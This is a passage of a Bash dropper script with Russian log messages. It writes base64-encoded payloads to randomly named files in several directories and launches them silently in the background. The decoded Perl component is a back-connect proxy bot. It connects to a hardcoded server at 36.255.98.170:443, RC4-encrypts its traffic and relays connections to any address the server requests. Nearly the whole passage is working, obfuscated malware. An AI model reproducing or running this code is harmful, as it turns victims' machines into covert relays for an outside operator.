KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #12 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #12 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 13 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzAnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv 